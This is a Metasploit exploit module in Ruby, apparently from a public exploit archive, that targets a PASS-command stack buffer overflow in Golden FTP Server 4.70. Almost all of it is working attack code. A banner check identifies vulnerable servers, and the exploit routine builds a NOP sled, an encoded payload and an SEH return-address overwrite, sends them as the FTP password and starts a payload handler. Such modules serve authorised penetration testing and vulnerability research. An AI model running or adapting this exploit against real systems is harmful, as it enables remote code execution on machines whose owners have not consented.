Golden FTP Server 4.70 - PASS Stack Buffer Overflow (Metasploit)

#
# $Id: goldenftp_pass_bof.rb 12812 2011-06-02 01:10:22Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'GoldenFTP PASS Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability in the Golden
				FTP service. This module uses the PASS command to trigger the overflow.
			},
			'Author'         => [ 'bannedit' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 12812 $',
			'References'     =>
				[
					[ 'BID', '45957 '],
					[ 'URL', 'http://www.exploit-db.com/exploits/16036/'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 350,
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform'       => ['win'],
			'Targets'        =>
				[
					[
						'Golden FTP 4.70 Universal', # Tested OK - bannedit 05/31/2011
						{
							'Platform' => 'win',
							'Ret'      => 0x00a93ca6,
						},
					]

				],
			'DisclosureDate' => 'Jan 23 2011'))
	end
	
	def check
		connect
		disconnect
		print_status("FTP Banner: #{banner}".strip)
		if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"
			return Exploit::CheckCode::Appears
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		if datastore['RHOST'].length < 15
			pad = make_nops(1) * (15 - datastore['RHOST'].length)
		end
		
		sploit = make_nops(4) * 38
		sploit << payload.encoded
		sploit << pad
		sploit << make_nops(1) * (528 - sploit.length)
		sploit << [target.ret].pack('V')

		print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")
		begin
			connect
			send_user("anonymous")
			send_cmd(['PASS', sploit], false)
			handler
		rescue EOFError
		end
	end
end